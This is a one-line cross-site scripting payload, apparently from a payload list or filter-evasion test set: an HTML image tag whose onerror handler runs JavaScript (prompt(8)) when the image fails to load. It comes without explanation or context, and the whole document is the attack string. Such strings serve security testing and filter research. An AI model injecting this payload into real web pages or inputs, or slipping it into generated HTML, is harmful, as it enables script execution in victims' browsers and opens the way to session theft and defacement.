<image src/onerror=prompt(8)>